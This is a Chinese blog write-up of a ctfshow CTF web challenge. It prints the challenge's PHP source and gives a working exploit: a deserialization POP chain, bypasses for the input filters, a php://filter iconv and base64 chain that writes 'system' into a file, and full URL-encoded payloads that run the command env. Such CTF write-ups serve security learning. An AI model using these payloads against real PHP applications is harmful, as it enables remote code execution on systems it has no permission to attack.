ctfshow元旦水友赛 easy_web

好家伙,过年都不让人好好过,为了一个flag硬是能折腾一天,记录一个对php://filter伪协议考的比较深的题,让我知道不能就知道个php://filter/read=convert.base64-encode/resource=flag.php了。

关于php://filter伪协议我看了觉得比较详细两篇文章,放下面了

PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客

浅谈 filter伪协议的特性_为什么file_get_content可以传入伪协议-CSDN博客

预期解

接下来进入正题,先看源码

开胃小菜,就让我成为签到题叭 <?php
header('Content-Type:text/html;charset=utf-8');
error_reporting(0);


function waf1($Chu0){
    foreach ($Chu0 as $name => $value) {
        if(preg_match('/[a-z]/i', $value)){
            exit("waf1");
        }
    }
}

function waf2($Chu0){
    if(preg_match('/show/i', $Chu0))
        exit("waf2");
}

function waf_in_waf_php($a){
    $count = substr_count($a,'base64');
    echo "hinthinthint,base64喔"."<br>";
    if($count!=1){
        return True;
    }
    if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){
        return True;
    }else{
        return false;
    }
}

class ctf{
    public $h1;
    public $h2;

    public function __wakeup(){
        throw new Exception("fastfast");
    }

    public function __destruct()
    {
        $this->h1->nonono($this->h2);
    }
}

class show{

    public function __call($name,$args){
        if(preg_match('/ctf/i',$args[0][0][2])){
            echo "gogogo";
        }
    }
}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
    public function __construct(){
        $this->chu0 = 'xiuxiuxiu';
    }

    public function __toString(){
        echo "__toString"."<br>";
        if ($this->chu0===$this->chu1){
            $content='ctfshowshowshowwww'.$_GET['chu0'];
            if (!waf_in_waf_php($_GET['name'])){
                file_put_contents($_GET['name'].".txt",$content);
            }else{
                echo "绕一下吧孩子";
            }
                $tmp = file_get_contents('ctfw.txt');
                echo $tmp."<br>";
                if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){
                    eval($tmp($_GET['cmd']));
                }else{
                    echo "waf!";
                }

            file_put_contents("ctfw.txt","");
        }
        return "Go on";
        }
}


if (!$_GET['show_show.show']){
    echo "开胃小菜,就让我成为签到题叭";
    highlight_file(__FILE__);
}else{
    echo "WAF,启动!";
    waf1($_REQUEST);
    waf2($_SERVER['QUERY_STRING']);
    if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){
        unserialize($_GET['show_show.show']);
    }else{
        echo "被waf啦";
    }

}

思路很清晰,一个POP链,绕过三个WAF,一个正则,一个__wakeup,然后写shell进文件,最后经过正则后RCE

先来看POP链,比较简单,但是有坑,

ctf() __destruct -> show() __call -> Chu0_write __toString
<?php

class ctf{
    public $h1;
    public $h2;

}

class show{

}

class Chu0_write{
    public $chu0;
    public $chu1;
    public $cmd;
}

$a=new ctf();
$a->h1=new show();
$a->h2=[[2=>new Chu0_write()]];  //注意这里的参数是ctf()的h2
                                 //__call($name,$args)中的$args已经是一个数组,所h2只用嵌套两层即可

echo serialize($a);

得到最终POP链

O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

现在来看WAF,顺序依次是waf1->waf2->正则->waf_in_waf_php

waf1就是我们传递的参数值中不能含有a-z和A-Z,这里有个知识点,就是$_REQUEST的传参中POST的优先级比GET高,我们可以POST复制传递题目让我们GET的参数,waf1就会匹配POST的数据而忽略GET,从而绕过

waf2就是让我们GET传参中不能含有show,可是不论是参数还是POP链中都有show,这时我们就可以url编码绕过,注意这里还有个隐藏考点就是我之前讲过的传参规则,show_show.show需要写成show[show.show。

最后我们传参 

GET:?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f:%2b%33:%22%63%74%66%22:%32:%7b%73:%32:%22%68%31%22%3b%4f:%34:%22%73%68%6f%77%22:%30:%7b%7d%73:%32:%22%68%32%22%3b%61:%31:%7b%69:%30%3b%61:%31:%7b%69:%32%3b%4f:%31%30:%22%43%68%75%30%5f%77%72%69%74%65%22:%33:%7b%73:%34:%22%63%68%75%30%22%3b%4e%3b%73:%34:%22%63%68%75%31%22%3b%4e%3b%73:%33:%22%63%6d%64%22%3b%4e%3b%7d%7d%7d

POST:show[show.show=1

进入到tostring下

题目提示我们要用到base64,我第一个想到了php://filter,但是对php://filter的了解不深入,导致想了很久。并且这里只能写入txt文件,无法写马。

先看我的思路。我想的是利用php://filter/convert.base64-encode/resource=ctfw,让原来的内容乱码,从而执行我base64写入的方法,但是本地测试后发现不行,原因是因为他这里是将文件的内容当成一个函数,前面数据无论是什么,在拼接你写的内容后PHP都无法识别这个函数从而报错,除非前面的内容是比如php,你在后面拼接info,最后内容是phpinfo(),这时是PHP定义了的函数,语法上才不会报错,才会执行。

看了网上资料后我才有了新思路,我们可以让原来的内容即ctfshowshowshowwww,经过filter里的过滤器过滤后,变成不是base64里面可编码的字符比如 #@等,具体过滤器用法可以参加我放的两篇文章,现在将我们要执行的方法比如system,进行利用iconv进行utf-8(因为我们现在是utf-8编码)转成任意filter支持的字符编码(比如utf-16)

<?php

$b ='system';

$payload = iconv('utf-8', 'utf-16', base64_encode($b));  //utf-16这里可以换成任意filter支持的字符编码

file_put_contents('payload.txt', quoted_printable_encode($payload));  
//quoted_printable_encode这就是个特殊编码,目的只是为了可视化,因为编码后会乱码,
                                                                              
//应该也可以用urlencode($payload),但是urlencode($payload)我本地测试是可以的,但题目环境不行

$s = file_get_contents('payload.txt');

$s = preg_replace('/=\r\n/', '', $s);

echo $s;

然后利用php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw,这就是个求逆的过程,把我们convert.quoted-printable-encode进行decode,convert.iconv.utf-16.utf-8 将utf-16转回utf-8,最后convert.base64-decode进行base64解码,我们的写入的数据就恢复成system,而之前的内容即ctfshowshowshowwww,会在/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8后乱码并且无法进行base64解码,这时/convert.base64-decode/就会过滤掉非base64字符把原来的数据清空。最后打印环境变量即可得到flag

最终payload

GET:?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&name=php://filter/convert.quoted-printable-decode/convert.iconv.utf-16.utf-8/convert.base64-decode/resource=ctfw&chu0=c=003=00l=00z=00d=00G=00V=00t=00&cmd=env

POST:show[show.show=1&name=1&chu0=1&cmd=1

得到flag

非预期解

直接扫后台,会发现有个phpinfo.php

直接访问,搜索flag,即可

  • 27
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值